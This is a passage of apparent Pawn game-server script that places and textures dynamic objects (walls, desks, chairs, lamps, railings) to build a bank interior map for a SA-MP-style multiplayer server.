SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.099976 , 1315.658936 , 1503.500610 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.826050 , 1315.692261 , 1503.500610 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19380 , 1407.388672 , 1315.894409 , 1504.021973 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19380 , 1403.801270 , 1316.007690 , 1504.020020 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1395.680176 , 1314.039551 , 1502.725098 , -34.500000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2229 , 1405.197998 , 1316.354858 , 1503.141602 , -60.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.154053 , 1316.352905 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1403.800049 , 1316.354858 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1402.400024 , 1316.354858 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1401.000000 , 1316.354858 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1399.949951 , 1316.352905 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.669312 , 1315.758423 , 1503.141602 , -60.000000 , 0.000000 , -90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1407.183716 , 1316.372559 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1408.550049 , 1316.370605 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1409.900024 , 1316.372559 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1411.300049 , 1316.370605 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1412.699951 , 1316.372559 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.748047 , 1316.314575 , 1503.141602 , -60.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.749268 , 1316.390869 , 1503.647949 , -90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.747314 , 1317.750000 , 1503.645874 , -90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.749268 , 1319.000000 , 1503.647949 , -90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.134399 , 1315.784668 , 1503.141602 , -60.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.748535 , 1314.363037 , 1503.647949 , -90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.748901 , 1313.043457 , 1503.645874 , -90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2229 , 1405.750854 , 1312.000000 , 1503.649902 , -90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19381 , 1407.787354 , 1320.181641 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19381 , 1403.500000 , 1320.179565 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19381 , 1407.787354 , 1312.681641 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19381 , 1402.287354 , 1312.679565 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19325 , 1397.839844 , 1321.964966 , 1502.025635 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 65535 , "none" , "none" , -2657);
BankMapLV = CreateDynamicObject(19325 , 1394.291748 , 1315.866455 , 1502.025635 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 65535 , "none" , "none" , -2657);
BankMapLV = CreateDynamicObject(19089 , 1397.843750 , 1318.634888 , 1504.288330 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.843750 , 1323.855957 , 1504.288330 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.597046 , 1315.865601 , 1504.288330 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.843506 , 1318.630127 , 1503.522095 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.843506 , 1318.630127 , 1500.098755 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.604614 , 1315.868042 , 1500.098755 , 90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.604614 , 1315.868042 , 1503.526855 , 90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1397.938354 , 1315.870239 , 1504.154053 , 55.500000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
CreateDynamicObject(19325 , 1412.609741 , 1320.788818 , 1501.282593 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(19325 , 1412.606689 , 1310.532104 , 1501.282593 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(19325 , 1412.593384 , 1315.859741 , 1505.957275 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
BankMapLV = CreateDynamicObject(968 , 1412.634155 , 1324.493408 , 1500.869751 , 0.000000 , 90.000000 , -90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLV = CreateDynamicObject(968 , 1412.634155 , 1324.493408 , 1501.205811 , 0.000000 , 90.000000 , -90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLV = CreateDynamicObject(968 , 1412.634155 , 1324.493408 , 1501.541748 , 0.000000 , 90.000000 , -90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLV = CreateDynamicObject(968 , 1412.640015 , 1306.872437 , 1500.869751 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLV = CreateDynamicObject(968 , 1412.640015 , 1306.872437 , 1501.205811 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLV = CreateDynamicObject(968 , 1412.640015 , 1306.872437 , 1501.541748 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
CreateDynamicObject(2166 , 1397.080811 , 1328.000000 , 1500.086548 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2166 , 1397.080811 , 1322.379272 , 1500.086548 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
CreateDynamicObject(1714 , 1396.092896 , 1328.613159 , 1500.088623 , 0.000000 , 0.000000 , 24.959999);
CreateDynamicObject(1714 , 1396.092407 , 1322.871460 , 1500.088623 , 0.000000 , 0.000000 , 24.959999);
CreateDynamicObject(1714 , 1401.319092 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 26, 63, -1, 200.00);
CreateDynamicObject(1714 , 1403.205078 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 26, 63, -1, 200.00);
CreateDynamicObject(1714 , 1409.608276 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 26, 63, -1, 200.00);
CreateDynamicObject(1714 , 1407.730835 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 26, 63, -1, 200.00);
CreateDynamicObject(2164 , 1396.260986 , 1324.766724 , 1500.086426 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2161 , 1404.464844 , 1323.855103 , 1500.086426 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2163 , 1405.800049 , 1323.855103 , 1500.086426 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2186 , 1392.363159 , 1324.451416 , 1500.087036 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2164 , 1391.935181 , 1328.086548 , 1500.086426 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2163 , 1391.928711 , 1326.309448 , 1500.086426 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2162 , 1391.928711 , 1321.500000 , 1500.086426 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(1808 , 1392.102051 , 1323.006836 , 1500.087280 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(1721 , 1397.363892 , 1319.759155 , 1500.087280 , 0.000000 , 0.000000 , 15.000000, 26, 63, -1, 200.00);
CreateDynamicObject(1721 , 1395.889526 , 1319.737549 , 1500.087280 , 0.000000 , 0.000000 , -15.000000, 26, 63, -1, 200.00);
CreateDynamicObject(1721 , 1397.223877 , 1325.339233 , 1500.087280 , 0.000000 , 0.000000 , 15.000000, 26, 63, -1, 200.00);
CreateDynamicObject(1721 , 1395.829468 , 1325.417480 , 1500.087280 , 0.000000 , 0.000000 , -15.000000, 26, 63, -1, 200.00);
BankMapLV = CreateDynamicObject(19373 , 1396.934692 , 1324.876343 , 1500.188110 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -334660);
CreateDynamicObject(2194 , 1395.784546 , 1321.132202 , 1501.121704 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2194 , 1395.783447 , 1326.699219 , 1501.121704 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2194 , 1392.176758 , 1327.238525 , 1501.243042 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2854 , 1405.648315 , 1320.771362 , 1500.921753 , 0.000000 , 0.000000 , 7.200000, 26, 63, -1, 200.00);
BankMapLV = CreateDynamicObject(19373 , 1396.185181 , 1320.518799 , 1500.004761 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLV = CreateDynamicObject(19373 , 1396.185181 , 1324.015625 , 1500.006836 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLV = CreateDynamicObject(19373 , 1396.185181 , 1327.513672 , 1500.004761 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLV = CreateDynamicObject(19378 , 1405.148071 , 1325.693726 , 1500.005981 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLV = CreateDynamicObject(2725 , 1404.534790 , 1320.827393 , 1500.486450 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLV , 2 , 1223 , "dynsigns" , "white64" , -9211021);
BankMapLV = CreateDynamicObject(2725 , 1405.699951 , 1320.827393 , 1500.486450 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLV , 2 , 1223 , "dynsigns" , "white64" , -9211021);
BankMapLV = CreateDynamicObject(2203 , 1405.071045 , 1320.588379 , 1500.243652 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(14834 , 1405.056152 , 1320.589111 , 1500.128906 , 0.000000 , 0.000000 , -45.540001);
SetDynamicObjectMaterial(BankMapLV , 2 , 1223 , "dynsigns" , "white64" , 7566195);
BankMapLV = CreateDynamicObject(630 , 1406.336060 , 1315.953979 , 1501.102295 , 0.000000 , 0.000000 , -42.900002);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(630 , 1404.504639 , 1316.001221 , 1501.102295 , 0.000000 , 0.000000 , -144.240005);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(631 , 1406.149780 , 1311.411743 , 1500.976074 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(631 , 1399.529663 , 1311.488525 , 1500.976074 , 0.000000 , 0.000000 , -11.520000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(630 , 1392.943848 , 1316.805176 , 1501.102295 , 0.000000 , 0.000000 , -267.539948);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1397.065674 , 1321.333740 , 1509.631226 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1396.467773 , 1510.357178 , 1510.357178 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1395.847656 , 1321.333740 , 1510.105225 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1396.435669 , 1321.333740 , 1510.357178 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1397.065674 , 1326.988403 , 1509.631226 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1396.435669 , 1326.988403 , 1510.357178 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19089 , 1395.847656 , 1326.988403 , 1510.105225 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2114 , 1397.057129 , 1326.991943 , 1502.371460 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLV = CreateDynamicObject(2114 , 1396.430054 , 1326.991943 , 1502.843506 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLV = CreateDynamicObject(2114 , 1395.843994 , 1326.991943 , 1502.590576 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLV = CreateDynamicObject(2114 , 1397.057129 , 1321.335205 , 1502.371460 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLV = CreateDynamicObject(2114 , 1396.430054 , 1321.335205 , 1502.843506 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLV = CreateDynamicObject(2114 , 1395.843994 , 1321.335205 , 1502.590576 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLV = CreateDynamicObject(2268 , 1395.401367 , 1326.932007 , 1501.216919 , 0.000000 , 90.000000 , 330.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2040 , 1395.878540 , 1327.094360 , 1500.795654 , 0.000000 , 0.000000 , 60.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1395.861450 , 1327.099243 , 1500.877441 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1395.759033 , 1327.197266 , 1501.183838 , 90.000000 , 0.000000 , 60.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1395.861450 , 1321.445190 , 1500.877441 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1395.759033 , 1321.543335 , 1501.183838 , 90.000000 , 0.000000 , 60.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2268 , 1395.401367 , 1321.277954 , 1501.216919 , 0.000000 , 90.000000 , 330.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2040 , 1395.878540 , 1321.440430 , 1500.795654 , 0.000000 , 0.000000 , 60.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2040 , 1400.774170 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1400.748657 , 1321.158081 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1400.915649 , 1321.172119 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2268 , 1400.343750 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1402.544678 , 1321.134155 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2040 , 1402.562256 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1402.703613 , 1321.172119 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2268 , 1402.131836 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2040 , 1406.974243 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1406.948730 , 1321.158081 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1407.115601 , 1321.172119 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2268 , 1406.543823 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -16777216);
